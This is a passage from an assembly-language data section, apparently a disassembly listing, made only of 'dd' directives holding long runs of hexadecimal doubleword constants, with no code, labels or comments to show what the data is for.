0DA99039Ch, 52928014h, 20269899h, 0C8003C4Ch dd 353A7608h, 9B5CD71h, 0C3E3BE4Dh, 0CC9B3084h, 8288F720h dd 0E4800066h, 9427414Bh, 6C0136B9h, 0AE98EEF4h, 0EC32D111h dd 0CA6A0078h, 0BEA54CAFh, 1770B3A8h, 0A00DCC2Ah, 9F3A5203h dd 0B29EFE3h, 0CE562EF1h, 0E2C67700h, 0F000B4Bh, 1CF856Eh dd 0ECE1349Dh, 244992Eh, 14A8D307h, 68940404h, 293FA404h dd 0DB769B00h, 0BB28A370h, 963EC081h, 5867AC4Eh, 878EEE10h dd 27770591h, 608990F7h, 0F0F4A835h, 38490623h, 39FB64DFh dd 0EB40B20Fh, 0EAE62061h, 75CE8Fh, 0EC25422Ch, 0DC322B6Ah dd 0A979F813h, 9486AC08h, 38003C64h, 0C5A024DEh, 4B08E685h dd 0A8A888F7h, 0A592028h, 25D6B705h, 0E0936BFEh, 8AE6C0DFh dd 0B9816669h, 872241FAh, 7A0E0388h, 4A9F15B1h, 0CCB81075h dd 6224A491h, 9C0B100Ah, 0CA6B7300h, 207D0436h, 0CC5032EFh dd 71D6E3B0h, 26AC8014h, 2808FCE6h, 9FDC0409h, 1FEE4607h dd 955F0079h, 6CD565DEh, 15041824h, 8A937509h, 94A17891h dd 3E748C15h, 0F37ADE00h, 0BC5602EBh, 6165004Ah, 882C8D7Fh dd 3E00FF87h, 0E7E6E49Eh, 50C9183Fh, 99AD8C21h, 2294A848h dd 65121770h, 443075A0h, 421EFC5h, 0AD081A09h, 0DB7C802Eh dd 0C734BB72h, 0C88C40A1h, 9D4F006Eh, 67225D1Fh, 0E0C883D8h dd 0B58A8026h, 98A8EB9Fh dd 35657E00h, 6D55117Ah, 188D06B3h, 0D9ED6466h, 27546E00h dd 4A8F6B31h, 0DD0309Fh, 6D69CD91h, 6659CE01h, 7FBB70D7h dd 2108CA4h, 3C8784AEh, 41A16B00h, 2BCA049h, 0B8008328h dd 0A68A69CCh, 0DDC70FEh, 0BA8FBB74h, 5BA4EC41h, 1972944h dd 77C9A85Eh, 0F9A76D08h, 9BB870D6h, 4D028642h, 678B0D91h dd 1566F890h, 9484C3Eh, 80E8C4A3h, 7F9D0400h, 48509A2Ah dd 0E310B474h, 12C8012Ch, 566F9D07h, 0A1011087h, 0D3467408h dd 593C0BB8h, 8465A89Bh, 4910470Ch, 412201Eh, 0E9389FC6h dd 0DF0CD007h, 95321847h, 218F4139h, 0F4A148FEh, 0AF615BBBh dd 0D07DC8F0h, 59486C22h, 0B45CD50Fh, 0D1356446h, 0D838E017h dd 9CD32470h, 80A8A001h, 8B230261h, 178FF705h, 600A044h dd 4F0FFEB4h, 55A315B0h, 239893h, 0D0D37203h, 0C7B01230h dd 33071D2Ch, 294E1B4Ch, 23E8F7D0h, 1B0778Ch, 1113E70Eh dd 819947BBh, 0E04614B8h, 0F030E810h, 0EF1540B2h, 8E812560h dd 31BED5h, 41DD7859h, 766870B6h, 8C002AB8h, 0DCC20B51h dd 0D5621FFh, 7A868AF7h, 0A9B6E738h, 8BBD4E07h, 1DF0609Eh dd 0EC3370A3h, 8CC0AEEh, 8E64E5D3h, 41A0DBC4h, 0E136DE8Bh dd 1798A00h, 0D13C9E06h, 7FB00953h, 1C027C07h, 6423899Dh dd 424107F1h, 0D0363B73h, 1EF4BC67h, 7504BCA0h, 8343724h dd 6A936426h, 0D4C84063h, 24204812h, 0E56D3E80h, 0B61FF4h dd 5326C66Bh, 51DA0DEFh, 0E8B750Ah, 7422A0B5h, 4E17230Fh dd 0C490A02Dh, 0F6BEC2Fh, 4F09A29Ch, 0E8049F4Eh, 0DF248025h dd 77349B93h, 18827826h, 0FC7C1013h, 0C89EB73Dh, 43BB106Ch dd 54406631h, 44CF0238h, 694724E0h, 56720078h, 0FE5FE3A1h dd 27918760h, 1257D5h, 0C5DBE880h, 0D441A322h, 237D060Ch dd 0B5F5833h, 72143C97h, 4011DC24h, 68608CA5h, 2FEB0786h dd 41E2B16Ch, 8B30D950h, 92981420h, 0A83E880Ch, 0ACD6F041h dd 72197DDCh, 0B1FC987Ah, 0F6D842Ch, 80600B28h, 3AF05FA8h dd 0C37217F8h, 4C5FDFh, 0D7240866h, 8B1470AEh, 30C80BBh dd 0C2B29BF7h, 0AEFFA172h, 8D408704h, 0A4C1880h, 0FF88E909h dd 0B978987Fh, 0BF9701C1h, 6977A479h, 38B422EEh, 24FD2425h dd 36034D93h, 3D36D0ECh, 12039D39h, 9842EE01h, 8952B2F0h dd 0DC5B482Eh, 1E131960h, 0CEE00224h, 0A8DD251Ch, 0B1A2E280h dd 4002DB47h, 0EBFF8AE9h, 0BF84C0E6h, 825D03CAh, 3972F465h dd 74C2ED9Bh, 4820049Ch, 654900EEh, 0E59432ADh, 9A01E9D5h dd 3F6C7ED8h, 199D6D2Dh, 0C240C65Eh, 2309404Dh, 81BCFDC9h dd 0F05DF677h, 67E5EB40h, 7F48001Ah, 0F3493EDDh, 1F604D33h dd 0EDE9D140h, 1858DFAFh, 0A7926818h, 20638280h, 0F8006705h dd 89CDFD0Ch, 1EA770Dh, 0B4C6B29h, 30B26F1Ch, 0BC1C9470h dd 1FBBC95Ch, 850F470Eh, 367D065Fh, 0C20A0A10h, 18744A05h dd 0EB0D0844h, 74CA013Eh, 0A60F500h, 0D395C048h, 89E261E9h dd 9E4CF9C1h, 73002838h, 484A6104h, 30EE725Eh, 3D298EB6h dd 8CA88165h, 0AD187CD3h, 0B8715EEDh, 8CC55091h, 88052EBh dd 0B84A8D15h, 4187AC42h, 2A00C8E9h, 0BBAEBF7h, 42E8C50Dh dd 79C818CBh, 8B0C8EC0h, 2107BAF3h, 0E94E15EDh, 7F05E8F6h dd 42A1CB88h, 91C16218h, 78F38CA0h, 441A5EF2h, 33B1C441h dd 36F5BA94h, 0F30A74FEh, 0DCB65FB9h, 752B1540h, 0C41C04Eh dd 0F3B5B1DAh, 88DC7650h, 0E25C96E0h, 1AEE03F5h, 1415526Fh dd 4CB16AB9h, 40DD6806h, 6EB0885Fh, 14D19E60h, 1D2A7A49h dd 724748h, 0DE3AF84Ch, 0A305BBEAh, 32FB67C6h, 4BEDD840h dd 6064C482h, 36D31149h, 7C0CD802h, 61083F44h, 807B50EAh dd 38D88BE5h, 170AC626h, 0D067F34Fh, 4C2E2F85h, 40C02868h dd 68DE74Dh, 58BFB43Bh, 0D0C2E92Ah, 8D43E00h, 9ED98642h dd 2ADDE872h, 0BA069C9h, 3CA3CBEAh, 3C2D0B85h, 0B40C3840h dd 3966CADDh, 0F62807F7h, 0A01367D3h, 0EAB72747h, 0ED0307F9h dd 95281A6Fh, 3C373175h, 0C764405h, 8BC1A442h, 193C449Bh dd 311A64C3h, 88344AA4h, 967C5E20h, 0F5285700h, 113C95Ah dd 5D1C046h, 0D4E095B5h, 6302661Ch, 74489AD4h, 9591BCADh dd 8067C4B0h, 892091CEh, 3F080779h, 0F04EC815h, 4E3998ACh dd 61C363F2h, 0A9219435h, 6E9A08FEh, 745CCA00h, 0C273C7DFh dd 0EAB6F371h, 0C1ECF440h, 0A1586E03h, 0ECD0758Eh, 1C924C7h dd 0B5AD1B70h, 0BC304CC1h, 6A81C0D7h, 647737Dh, 2920F853h dd 8D0FBCA3h, 2830B96Bh, 0C73D9C24h, 97155008h, 0BFAEC146h dd 7A102455h, 0FEDA6A40h, 4D3C00A6h, 5DA32984h, 98004C9Fh dd 37192E7Dh, 3DCCF4B5h, 0FC96A296h, 208D0083h, 63DED97Bh dd 27300100h, 0C25447A4h, 6BAA0BD5h, 7400829Ah, 0A7F80E1Fh dd 0BA6DAB00h, 78365292h, 241518E4h, 0FF6940C9h, 282C20h dd 8C34C24Eh, 0CD82C765h, 350022E4h, 0D0A99C05h, 1CDF5696h dd 40E47412h, 54DA7B60h, 1800FF6Dh, 3830A602h, 0B8C3391h dd 0E888C757h, 4358012h, 2F82A5Fh, 25905343h, 0D8406596h dd 230092EAh, 0ECB404FDh, 2E61990Fh, 1DBB2Eh, 0E8C96A15h dd 0FC0372DFh, 2B967429h, 0A8400154h, 0D249605Dh, 835CCC5h dd 0F6A9A500h, 361B6FADh, 3E27006Ch, 9F298C3h, 2810FB17h dd 8E39A440h, 5C9D90h, 181AC5E4h, 0A9A7F6h, 525D91D4h dd 9358011h, 3E856A01h, 19FB62E2h, 0F2C96E4h, 912BAB0Ah dd 0EE5260C0h, 18263077h, 0F51238F4h, 0BA942Eh, 37833841h dd 39A5BA7h, 4CC4E77Fh, 0A9F0F635h, 6F0095D7h, 0F27402DFh dd 1D87200Ah, 9E63D9EFh, 46E3C0FEh, 0A32C7B54h, 48D2981Ch dd 17239EC0h, 0B77305h, 20669FC8h, 6D4BACFEh, 0E97D0600h dd 0F2057115h, 46E13874h, 0A62D918Dh, 7F98DF40h, 0F000351Fh dd 99CCED72h, 1A315Bh, 5C0AE6BBh, 7109DCC9h, 22CFA0Eh dd 914000E2h, 988C29h, 80CD4C9Bh, 68F0031Fh, 0AA8C7559h dd 0EF0006FCh, 37C24D44h, 9A6AABh, 1D90E845h, 0A66933FEh dd 59991B10h, 0BE38A00h, 0E1ED7B63h, 2D05D500h, 4D42A603h dd 0E22C3F77h, 0D348CB07h, 0F4369195h, 0D0C8CB9Eh, 0FF015561h dd 7909EABAh, 0AF61E98Bh, 706719C0h, 905000DFh, 0B459A134h dd 0C50ED475h, 0E0370B2Eh, 709E21A9h, 0BB100030h, 881FD6E8h dd 610715DCh, 0BA282903h, 257A2D00h, 0A198008Fh, 0F182CC49h dd 0A805F60Eh, 73D0BBB2h, 2E76AC82h, 6FDFC29Fh, 8892F005h dd 67FF0437h, 750300F6h, 80028F1h, 7004DBA2h, 2974DA7Fh dd 5434EE24h, 0F5760100h, 0DA9AD5D8h, 75720015h, 0CE3954DBh dd 0F6560829h, 1C33701Ch, 0E0F3101Fh, 0C04B0605h, 80FD3D21h dd 21E0D58Fh, 28CCEA0Eh, 87368820h, 0F081050Ch, 62D0DD24h dd 2A49C100h, 6770470Eh, 8CF718EEh, 8BD469C0h, 7A3FF8E3h dd 75682A0Ch, 0C0CB08AAh, 8B940221h, 0D23DD4BBh, 3D775CDDh dd 62BC0047h, 9AF60A9Eh, 0B9686066h, 32B1754h, 0CA1719ECh dd 30C3F54Ah, 33210036h, 0BEDC2B0Fh, 9900616Ah, 470DD439h dd 6037BAF3h, 0D8ED5848h, 2D173F6Dh, 9CC77589h, 0FB9DD090h dd 30B51BEBh, 0D1D0E94Dh, 6C7132C1h, 319F305h, 1C3240FCh dd 209C05C6h, 994D49B0h, 0E500DFF4h, 9618785Fh, 28B14A65h dd 0C6C3AE3h, 42755923h, 0A12A6A10h, 7406A0A5h, 727969C3h dd 0F8D1F480h, 0A02295C5h, 281936F1h, 0B0B96011h, 0C514E8D4h dd 0C1486766h, 0C9EED3D2h dd 4D3D4004h, 0D3012401h, 83D46AE9h, 0B9630F18h, 180EEF5h dd 0F3305BFBh, 2405C261h, 9F03DE08h, 0ED34BE7Ch, 0CE40004Ah dd 60305C04h, 0DF2F4425h, 2220ACCCh, 5C2AFBADh, 400350ACh dd 288C9DE4h, 569A2B0Ch, 3922E401h, 2B043400h, 4D48C39Eh dd 793D62E9h, 0B4A7C78Dh, 1F8430BDh, 73001856h, 0E3D4B20h dd 980602h, 0B8C515FEh, 96177AD3h, 0F2C40403h, 1F3C95Bh dd 8E455991h, 80C88DFEh, 57370551h, 1E45F63h, 8F4EB224h dd 80C58A6Dh, 0FF36FD21h, 0F41D0DEFh, 24920084h, 0BC398191h dd 16158B32h, 1DCCDDFh, 8915045Dh, 8820C40Eh, 920E8CFAh dd 913EFB8Bh, 0FF87CD88h, 0AFB08B9Ah, 0E7EF8Eh, 2AA3869Ch dd 74795FD6h, 3695224h, 5E7FBC01h, 402ADDF9h, 0B301CDF8h dd 0F209611Ah, 5068C048h, 0D65EB8h, 0B3F9A4F8h, 0A001782Dh dd 8E630653h, 9CC076FBh, 0CD5D06B9h, 58C9A8CBh, 0BBDE0521h dd 610EB384h, 20D36212h, 0C5B3FDA8h, 689C700h, 0E9D11649h dd 309C4840h, 19551D05h, 8CE04448h, 0AA5C43C4h, 0A6B0B04Ah dd 0B2EE6Eh, 0AF3A5103h, 0C68D63BFh, 0C03B29C0h, 0EC5A2Fh dd 8934452Dh, 0B2A4E957h, 0B43830F8h, 783C24D7h, 52197D80h dd 1AD3632h, 0C1734D5Ch, 0C476FA0Ah, 0ED0257A6h, 4F9E17FBh dd 0E8FABEh, 0E6C9AFB7h, 83D35E2Fh, 34E86702h, 48BADA99h dd 0E7912D9Ch, 0D1B65F00h, 298FC4Ch, 0B5B9C315h, 0A7284020h dd 10342842h, 8014BCCCh, 0B367A497h, 0FB04DD4Dh, 72C6DF05h dd 5FE6EA40h, 61F8481Ah, 26E1C918h, 3EFA48h, 95FEE735h dd 0B74F4E5h, 0F01CC9Bh, 0F0D58D81h, 0F706030Eh, 0E8276B80h dd 0C039FF9Fh, 0B3DF3E19h, 7700F856h, 35F38E8Ch, 0D64250h dd 7501D7B0h, 4EFAF7C5h, 8CBBBF2Ah, 4C9DF8C4h, 0A6B1CB01h dd 0F58840D6h, 2B64C9DEh, 90888DC9h, 203C0025h, 0B5BEAE4h dd 0FA0019EFh, 29BB88E9h, 440828Ah, 413F48F6h, 831C90BDh dd 0F2197BCDh, 5DA996D4h, 3BA2F833h, 39C1C931h, 317A1320h dd 0AAB03A1Fh, 608004E3h, 0A1F615CAh, 1A189330h, 71FC2B70h dd 2650448Ch, 0DE2B1203h, 986CD695h, 0E23582h, 888DEB08h dd 0E772D1D5h, 53F368C0h, 0A99469B1h, 0FB180FDCh, 0D5918004h dd 40322210h, 81030A21h, 0BDAEACCCh, 1E3CD100h, 0EB142D90h dd 5C3F552h, 939888BCh, 12494082h, 0D2C30461h, 9D565F01h dd 0DC255479h, 54BF448h, 26AC8A00h, 0E127399Bh, 0EC9D0020h dd 7DC82FB4h, 5603DEE3h, 4F79337h, 4360203Fh, 15FA0301h dd 31F5C163h, 2CF45020h, 8200584h, 7409CE2Eh, 0B5AC8308h dd 4759FEAh, 80FC7C20h, 0F0D56890h, 44917Ch, 0D981041Dh dd 1DE2910h, 0BE97DAC1h, 0F70FC960h, 638C703Bh, 987828D1h dd 3E9DA943h, 0FBBBF0D3h, 2418C382h, 9C406F5Eh, 0B8C255E5h dd 0A40EE988h, 0BC820FCCh, 0F89B2069h, 6803A991h, 8D766362h dd 8C6105C1h, 87709DA0h, 5807F80h, 646CA484h, 0F78634Dh dd 80A87D32h, 6274D372h, 57491330h, 0B7E0403Eh, 7822E29Ch dd 84F49629h, 0BC183579h, 9F9FF338h, 0B205591Fh, 0FC0135BBh dd 2921A160h, 42C18840h, 93DF2C06h, 80F79100h, 6114B3FFh dd 0D2448CE2h, 0D4F74CA6h, 1BF04C00h, 0A04EEE1Fh, 349918F8h dd 0F31835D1h, 8D59C500h, 32D1D37Ah, 68229DD4h, 2C083CB5h dd 0E43465Ch, 493218h, 5BAB6E8Ah, 0BB840169h, 61A16B02h dd 75844030h, 6E5E64C3h, 8DFD3802h, 0A29A20C8h, 4E004FBAh dd 8851E5D2h, 1115C3A6h, 3B0117h, 4362DA23h, 36AD54Fh dd 9CE33FABh, 0A4E8152Dh, 8448D319h, 4C884E98h, 0EA55E429h dd 66D8C91Eh, 2DB22810h, 7848E16h, 3F0E7C02h, 55E85275h dd 5ED0C062h, 9897049Bh, 973F0BB7h, 0CF33F018h, 80150C69h dd 9CE4F65Eh, 6113B302h, 10D931DAh, 6B3F8A3h, 0C199B916h dd 6F48A0CDh, 4E18DC18h, 0B86C5BE9h, 59830016h, 0E0DCA3D2h dd 183A932Ch, 0C95D0AF6h, 4701D18Ch, 8DEEC397h, 5C393830h dd 892302Eh, 0DC19898h, 9D9052Bh, 358FC833h, 77C22BC3h dd 31BDB5F0h, 98693401h, 6618F33Ch, 0A800F072h, 87DE0814h dd 0BA012B88h, 867CF91Ch, 94FC27F1h, 636F02AFh, 933097DDh dd 0DE1EE860h, 829D40B1h, 30BAE420h, 9AB02F07h, 0F230E9D5h dd 631728BBh, 1D4BC9h, 4EFF500h, 0D37035A6h, 4E90C454h dd 8004EB5Ch, 0C793C1AEh, 0D59E0322h, 50062068h, 8ED42900h dd 0A14108B8h, 0EBF60075h, 351FD368h, 5E21C4E0h, 52C10B48h dd 800E1CA1h, 0BC7C283Ah, 0C1018C3Ah, 0DF6EDA14h, 0B8F0E59Ch dd 0B0F4ABCDh, 812A055Ah, 0A2B02395h, 0B9E13042h, 55008876h dd 0DEFB47ACh, 24158E97h, 416CCDDFh, 0F2A026AEh, 3E5F2FC1h dd 0E9EC484Fh, 0E91C872Dh, 1F18EFA6h, 86FE1E47h, 9845B7B2h dd 12675F00h, 0A24CE87Ch, 4B892C47h, 0D1D31294h, 0D459564h dd 3C615CEBh, 0B8CD2BCh, 0A60C56D7h, 0FE17A480h, 5B482075h dd 0F41101C8h, 0F8EE676Fh, 9FDDC028h, 823F888Bh, 1950170h dd 3FD1078Bh, 336BE13Ch, 450D0B1Ch, 0F88007B4h, 0DE9438E0h dd 719E3A27h, 0F3336C01h, 4CEF53E0h, 490114D8h, 0D0E6A519h dd 0B3424C4Dh, 2487637h, 2F21B961h, 3DEC2052h, 288818Ch dd 0B3080418h, 0C4FA6117h, 0FCA740D1h, 0DB8DB3h, 714B8B0Fh dd 3AECC687h, 5AEB9009h, 60ACC0B5h, 28FD59B9h, 8342ED09h dd 3EDE5C41h, 4810424h, 75073981h, 9367830Eh, 1C75C498h dd 760714E2h, 0C30A1024h, 90405305h, 0C717CCCEh, 0FA23008Fh dd 4AFC0BFFh, 6894CB65h, 0FA600644h, 0D5239280h, 4111F8h dd 6B81020Bh, 7958DAh, 27BB4A7Ch, 6630A473h, 61C4000h dd 0EDEBC7B8h, 414E52h, 9BE89DB0h, 0E492BF60h, 550122h dd 6DC57D5Ah, 5D864E89h, 8A83F58h, 9594107Bh, 0C29DB803h dd 26118B3h, 0FBAA001Ch, 0CE958CB3h, 590064BCh, 9B50E237h dd 0FE92CDh, 1723B216h, 5D4985Eh, 0B0758E29h, 0E0BB6C0Eh dd 76BA35FDh, 14D83989h, 1118CEA6h, 2B0E8397h, 6711B204h dd 63200B8h, 5B4BC32Bh, 3E210F01h, 0EA4F1DE4h, 3A7E7822h dd 523B7B2Eh, 1CE843B6h, 50CBF924h, 774AC103h, 62181CE1h dd 5D550B9h, 3D74B46Bh, 2A2901Dh, 3E825F9Dh, 0E8A7AD65h dd 637BE273h, 276C088Ah, 4291289Dh, 3B7A7EC0h, 62268415h dd 0F33AFFE6h, 8F10DF4Ch, 0FBAD8329h, 0EA41D048h, 4C889097h dd 1610FC99h, 890E04C2h, 0A882EBFEh, 520C0E34h, 92E4CF69h dd 3D05F972h, 161F21C0h, 1832BF17h, 44C8C709h, 0EA2F60D6h dd 0C01B5C6Eh, 49BDD117h, 90688C1Ch, 4000C070h, 9DB6C4Dh dd 0AE66D1h, 0EFB01C99h, 5D3EB357h, 5CC0A95Ah, 585E1504h dd 6D0025BCh, 6E484A69h, 4B03E808h, 748436C3h, 7890ACB2h dd 126D968Dh, 42C88D6h, 1E2EB984h, 0DDE9D107h, 0CCC06BE5h dd 8068A15Dh, 0C411855Fh, 0D4055E69h, 0BF66E9h, 43107580h dd 0C456DFF3h, 9C01208Ch, 701D438h, 3E930B99h, 4CF3555h dd 413FFD80h, 60684EE4h, 399EAE43h, 0CDD50FBh, 0E2F53E80h dd 5786381h, 24D37CB1h, 0BB03A21Ch, 0EB42D14Eh, 0F020F5F5h dd 0E692D7h, 0E790AAFFh, 8615AB0Ch, 6B9CDB16h, 95A12418h dd 12D12753h, 33F36800h, 58944D31h, 0E0246BEh, 0D8D58E81h dd 7005067h, 602680F6h, 0D78A0067h, 0CE85F018h, 43513FF8h dd 0C599FC64h, 0FA4CB89Ah, 12034888h, 14CBE5E0h, 0EECE36C8h dd 8E6F25D9h, 91417781h dd 1838074h, 896BA0A4h, 249EB9D5h, 0EF261588h, 94112C8Dh dd 12B1983h, 373169B2h, 2B112910h, 3EA66109h, 0FAB002D8h dd 64BD03C0h, 0D304B0FDh, 551E821Dh, 0E8107458h, 918E7AC0h dd 18D27914h, 5F81005Ch, 8A60AA18h, 690F10F6h, 0E09F928Ch dd 27EBFB03h, 2118B84Ah, 4114CC1h, 0DB3F680h, 448C0A61h dd 0E0EADD0h, 20E5E4B3h, 7512B6C6h, 48F54F70h, 13C1960Ch dd 79F9FF2Bh, 27B0506Ch, 73072B0Bh, 52335BA5h, 315547D1h dd 54998C48h, 0F83D983Eh, 0CD224041h, 0E75A625h, 0DEE45E4h dd 3C604CD9h, 0AA3E2EFCh, 40D1C44Ch, 0CF8B9E34h, 0A16B2E43h dd 810D1742h, 0D23B6418h, 5C63CC00h, 0FE380CB7h, 97F987DEh dd 62D1D309h, 6B90A3C4h, 69383B20h, 0F517E744h, 58011B98h dd 4E51351Fh, 729BB083h, 0B9CADA5Eh, 0F3256C52h, 0A4F0AA53h dd 0DF1A08h, 97053315h, 7531D20Ch, 0B5E58ABh, 6DE06866h dd 1F004D65h, 5E67CE4h, 89F56687h, 0B8307C5Eh, 0C1388CCEh dd 8178009Dh, 9AE86433h, 0CB310B40h, 546068B1h, 0C935DEC1h dd 0DCCB695Bh, 0E8C038C8h, 4C354859h, 38FC2861h, 94C5018Ch dd 0A51B4906h, 8CD1E608h, 0DF183AD9h, 9B048900h, 61EB08F3h dd 854AB9h, 633F44Ch, 274EE84Fh, 10605814h, 751A46B5h dd 48C74924h, 0AB633844h, 0DE19C003h, 2A27C2EEh, 17C8FB68h dd 0C2094CBFh, 0BC470844h, 43603C44h, 153DAF2Ch, 2D597ED4h dd 4FA004F4h, 4CB044E9h, 5930385Bh, 3A9C0860h, 3CB6DBDDh dd 0D7E99240h, 0F2992FD5h, 1B479081h, 0B8406DF6h, 0A1EC0050h dd 9A312EE9h, 0E75A4F65h, 63C35C44h, 0D10B10E2h, 0C8E8C7AEh dd 828254CDh, 0D9D84244h, 72EA1158h, 0E813B22Ch, 0EC028D93h dd 0F67DE88Eh, 8EFAC474h, 0C0518858h, 253CB12Ah, 287B9300h dd 622D98C7h, 38843D69h, 0E84806AFh, 301AF59h, 49020DEFh dd 14FC4F17h, 0F440F598h, 0FCFAED10h, 6B66309Eh, 4A6C6861h dd 0F28D5B3Ch, 0D158121Dh, 0B4FAFC80h, 17BF8F35h, 0B4038970h dd 99909B10h, 4723CD01h, 0BFE74EEEh, 0CC13A054h, 1C818825h dd 0F2EB3Ch, 165BD383h, 0B82F965Bh, 14073923h, 988BD097h dd 0B18ED300h, 0B06549D0h, 2B604064h, 0E300E60Eh, 8C09070Ch dd 256F4EC1h, 30978285h, 4980D311h, 0B0F63328h, 0F4042228h dd 465EFCBCh, 6D9600D1h, 280D26B4h, 921F0318h, 0CFE998EDh dd 204D47CAh, 0D4C2DFE0h, 0AFBF0065h, 0CFDE8026h, 0C12F610Fh dd 0FA8C80E5h, 16D318F4h, 2F801685h, 0D623D8h, 101DAFE0h dd 9403695Ch, 0C9258BF6h, 0D1B94F59h, 7BDE0238h, 40489C4Fh dd 6B313644h, 0E0DD30A6h, 8B57AE19h, 301CE202h, 0E0931870h dd 4F4CC82Ch, 0FE480991h, 3611789Dh, 0D5DB9180h, 0C0097C3Ah dd 1A4D52h, 31A785D8h, 0CD3C01A9h, 8C112068h, 3059CE02h dd 2818D579h, 0BEBC121Fh, 779FDF80h, 6D2EF67h, 6D53F48Eh dd 6892C06Ch, 615B940h, 71925B69h, 3F02C2B5h, 594B29EAh dd 42056F5h, 0A82DC962h, 5173063Ch, 2E18465Dh, 8B49EE2h dd 5C4A5EC4h, 6D6465Ch, 0C24E8FD0h, 80D17CA0h, 4213AC62h dd 74CC46FDh, 177B765Fh, 0F540FBBAh, 0EE25F844h, 0F6F86182h dd 8B088E18h, 0C4723F0Fh, 96FB40D7h, 845F8Bh, 0CBA59E81h dd 0B806D188h, 6FE53703h, 13B6D52h, 8497DE68h, 7CAD2D40h dd 9EDCC8A8h, 0D2B604F0h, 968CB4B8h, 0C6E91D0Ch, 435FB059h dd 0F05C233Fh, 3E1D277Eh, 8A0E9A1Eh, 9B2818Ch, 82E69F0h dd 414221FCh, 0B5CC9AB8h, 0E32F8024h, 0EECDBE7Eh, 2855B812h dd 588C0012h, 0B9C912C0h, 0FF9CF4D1h, 207452E9h, 452D3D21h dd 0CDE5A540h, 0C8F228E9h, 0ADBF3794h, 0CC071048h, 513142F5h dd 1DEA402Bh, 7C00DC32h, 3F290C75h, 74B48025h, 0D6465Ch dd 0DFE5BC50h, 246B5D4Ah, 809614h, 1B70AF75h, 4D2E48B2h dd 18BE34A1h, 7678C035h, 59B807C4h, 1CFE4ABEh, 0FF0D2F98h dd 40E0209Fh, 6C78461h, 3A9BE839h, 3E7C5039h, 823BE121h dd 0CC4DB9BAh, 43E39490h, 733A4286h, 5F804979h, 0DF5E20B6h dd 946B3AE9h, 91BCD001h, 4C4A4462h, 0DD4EC1D8h, 0F0F53000h dd 3A9DA13Bh, 0E10B6AD6h, 98E80DD2h, 0D0837402h, 0C393DE8Fh dd 0CAA38341h, 0B19961B8h, 0A7481564h, 0F41F04B9h, 13680A62h dd 0FE1EC00Ch, 1D24514Dh, 7E42A831h, 80E8B716h, 0B2C47D03h dd 0D1186315h, 23701E39h, 2DC13251h, 94E08860h, 2586E5EAh dd 0EC67F516h, 0B0613664h, 253AE0FBh, 653EF70Ah, 494D46Dh dd 0C0473EE8h, 74E9F6E8h, 0F1F09192h, 74418D2h, 84D33C42h dd 0B05AB93Eh, 144BC1F0h, 0B82C4010h, 0F6008CCBh, 97CC9ACDh dd 944D2456h, 1ED108E4h, 52EDFE01h, 486428DDh, 0B8BE1720h dd 0A8741240h, 663203ACh, 0C53FF7AAh, 0F310D827h, 9D4D286Fh dd 155CF82Ah, 0C313BC96h, 0B30B361h, 0F7DEE4Eh, 9CB9D38h dd 5254E0D6h, 202941B5h, 2240DD34h, 0C1C3608Dh, 76C62E08h dd 0FBA94507h, 69B03B19h, 0AC16EBF6h, 92DD718Ch, 0F5DC0014h dd 0E9783E89h, 4D005443h, 70C018A0h, 2CF3D459h, 8C058E7h dd 80282671h, 90D5C921h, 0CAD1833Fh, 0D46122CBh, 19E3Dh dd 4224B41Ch, 0FEE0659h, 7146F677h, 0C8872980h, 6327017Bh dd 91A8979Eh, 0EB7F8036h, 30A16B6Fh, 7498BBA5h, 6C90E171h dd 7DE78210h, 4447906h, 0EB176811h, 0CC2F542h, 27CE360h dd 885AC1D1h, 0B08192A2h, 880E107Ah, 8FF6A958h, 341D670h dd 2E596549h, 9BD58C09h, 0FD4DE1D4h, 0CB54653Eh, 0C037C8A4h dd 0F51E488Eh, 49D94C12h, 0CAA080F7h, 5C004DB0h, 4B5F4E5Dh dd 74F68D55h, 36DD2426h, 0C08BBFCCh, 0D8201554h, 1B76B4D3h dd 744C0C09h, 4F1094CFh, 6DD841C9h, 222A0959h, 2595130Ch dd 4C31B8E2h, 70A09689h, 6C437108h, 6802B522h, 6BC4C884h dd 63106010h, 90F8994Eh, 0EC3A4E1Fh, 0AD00CC23h, 958DDD88h dd 74A64CACh, 0C94B21B3h, 3A02986Eh, 8CD2F00Fh, 0AC725CBAh dd 2E7C3F56h, 467E34A4h, 536B00D1h, 0A63CDA12h, 0E1BD395Fh dd 2751A185h, 0E798910Eh, 463B0D35h, 49E2DD0Ch, 3C366400h dd 0F1422C31h, 8382250Bh, 37461404h, 54F582F8h, 0A8725051h dd 95B98621h, 63D8848h, 6FEF7F81h, 923CAD52h, 0F4B40548h dd 0BBE2000Dh, 0BAB9E41Fh, 4008F9Eh, 2FD1ECCEh, 49194D47h dd 0EB014469h, 0B1C161B5h, 302E6AD6h, 6104D721h, 90B0BDC9h dd 8190B9EDh, 0B9ADC15Ch, 906FF00Ah, 58F69131h, 0D9104D23h dd 9B04043Ch, 0CB4EE9D3h, 0C510B8BDh, 96D13853h, 58A33167h dd 0D8CCC43Ch, 0AED12A82h, 0C7087CF0h, 28210D4Ch, 84B024A4h dd 0C17D583Ch, 24594B80h, 49A041E1h, 7248C472h, 3F1D22A0h dd 0D5A5B1CAh, 4848D4C4h, 8C50FC5Ch, 83BC5800h, 33A82E18h dd 1565121Ch, 23B02F68h, 7E4C01CDh, 0FD3DC91Ch, 58D4D2DDh dd 454D62h, 252199C0h, 8FF1EB81h, 800C152Bh, 1B0042BCh dd 0F72950D0h, 1ECACE85h, 200D9960h, 62F66E05h, 0C8A0A1C1h dd 0B1B8ED8Ch, 0AB0368C9h, 0D08D0E4Ch, 0CEF31900h, 93E6D6EAh dd 0A7320004h, 0D1C1AADAh, 7073712Bh, 0A2143427h, 72423FA8h dd 0CF320388h, 0D3C9BC23h, 1B7AEC0h, 60FD7318h, 9DFC9DB9h dd 0B14BB490h, 4745E100h, 6CC4A21Ch, 0AF92006Ah, 107D635Bh dd 4F26B8C5h, 0E411CF2h, 0F860F696h, 7F3B40E5h, 0B2EA5F09h dd 0CA34C02Bh, 0D76135B9h, 9BC0EE8h, 825F0290h, 0EC5CC512h dd 0EA662028h, 812D4909h dd 0D924D939h, 75051838h, 1777D2Ch, 9F4887DEh, 80BC8C42h dd 2D98EAB9h, 5CCC21CEh, 0A5101C6Bh, 948F2C1Ch, 5E3B7211h dd 46959A02h, 0E07ECBDFh, 5027968Bh, 63CE4524h, 1F6B0024h dd 2DE90BACh, 7086079Fh, 509DEBF3h, 0C9A04CA3h, 559EE307h dd 52C1FC59h, 78804F19h, 0AAE9D192h, 6C006BA0h, 2BEDB3AEh dd 44C8DF79h, 855F6F74h, 0D323B02Fh, 